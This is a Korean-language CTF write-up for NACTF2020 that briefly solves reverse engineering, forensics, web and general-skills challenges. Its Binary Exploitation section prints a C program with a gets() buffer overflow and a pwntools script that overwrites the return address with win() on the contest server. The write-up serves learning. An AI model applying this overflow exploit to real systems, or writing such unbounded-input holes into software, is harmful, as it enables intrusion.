CTF

NACTF2020 Writeup

c0wb3ll ㅣ 2020. 11. 7. 20:21

[TOC]

NACTF2020 Writeup

Reverse Engineering

Generic Flag Checker 1

헥스 에디터를 이용하면 보임

Generic Flag Checker 2

gdb 돌리면 비교구문에서 플래그 뽑아줌

General Skills

Intro to Flags

고냥 알려줌

Basic

base64 decoding 하면 플래그 나옴

Grep o

리눅스 그렙 명령어를 쓰길 바란거 같음 하지만 그냥 메모장에서 Ctrl+F 해서 찾았음...

Numbers

다음과 같은 숫자 배열을 줌 ⇒ ascii 코드라고 생각 후 변환

다음과 같은 문자열 반환 ⇒ obdug 를 한칸 씩 밀면 nactf

이걸 몰라서 헤매다가 같이 풀던 형이 찾아줌 ㅎㅎ;;;

Hashbrowns

Hashbrowns 이름부터 hash 냄새가 폴폴 그 중에서도 md5해쉬 냄새가 폴폴

온라인 디코더 적당히 찾아서 디코딩 해주면 secure_password 문자열 반환 플래그 포맷인 nactf{}로 감싸주면 인증 성공

Arithmetic

숫자 크기와 더했을 때 작은 숫자 나오는 걸 보고 Integer Overflow를 생각I

32bit 넘어가게 해주고 하위 6bit를 42값인 101010으로 맞춰준디 10진수로 변환하고 빼주면 됨

Zip Madness

이름처럼 광기의 압축파일임

압축해제를 해보면 알겠지만 숫자는 압축을 얼마나 했는지고 direction.txt로 다음으로 어떤 파일을 압축해제해야할지 결정해줌.

import zipfile
import zlib
import subprocess

for i in range(1000,0,-1):
    direction = subprocess.check_output(['cat', 'direction.txt']).decode()
    zipf = str(i) + direction
    subprocess.check_output(['unzip', '-o', zipf])

짧은 코드를 짜 해결할 수 있음

Binary Exploitation

Greeter

#include <stdio.h>
#include <stdlib.h>

void win() {
    puts("congrats! here's your flag:");
    char flagbuf[64];
    FILE* f = fopen("./flag.txt", "r");
    if (f == NULL) {
        puts("flag file not found!");
        exit(1);
    }
    fgets(flagbuf, 64, f);
    fputs(flagbuf, stdout);
    fclose(f);
}

int main() {
    /* disable stream buffering */
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char name[64];

    puts("What's your name?");
    gets(name);
    printf("Why hello there %s!\n", name);

    return 0;
}

greeter.c 파일

name 버퍼는 64바이트인데 입력은 gets함수로 제한이 없음

BOF를 이용해 ret를 win()함수 주소로 덮으면 해결

from pwn import *

# p = process('./greeter')
p = remote('challenges.ctfd.io' ,30249)

win = 0x401220

payload = b'A'*0x48
payload += p64(win)

p.recvuntil('?')

p.sendline(payload)

p.interactive()

Forensics

Gummies

별다른 흔적이 보이지 않아 steghide를 돌리다가 왼쪽위에 작은 하얀 점들이 거슬렸음

전형적인 LSB 스테가노그래피 문제

Meta-morphosis

그냥 헥스로 여니까 나왔음 왜 이게 Gummy 문제보다 점수가 높지...?

Turnips

요 문제도 헥스로 여니까 나옴,,.

Secret Message

듣자마자 그냥 모스부호였음

이렇게 나왔는데 인증이 안되길래 u33n을 보고 혹시 queen이라는 단어에서 q가 잘린게 아닐까 하고 붙여보니 인증성공

Turnips 2

헥스 에디터로 열어보니 89로 시작하는거보고 아 png파일이네 싶었음

확장자와 헤더 시그니처를 맞춰줌. 그리고 바로 옆에 IHDR로 의심되는 청크가 있는걸로 보아 청크도 부셔논것 같았음

즉당히 고쳐주면 플래그 획득

Web

Inspect

style.css 소스코드에 주석으로 플래그

Missing Image

flag.png가 오려다가 404error와 함께 표시되질 않음

그래서 경로로 가서 찾아옴

Forms

문제에 1000이라는 숫자가 써져있는데 로그인 폼이 1000개 존재함 (정신나갈것같에)

함수 제일 마지막 부분을 보면 user == admin && pass == password123 이어야 함 하지만 1 ~ 1000 중 이 파라미터를 넘겨주는 폼은 한개밖에 존재하지 않음...

함수명으로 찾아보면 form 673에만 함수가 존재하는것을 확인할 수 있음

록으인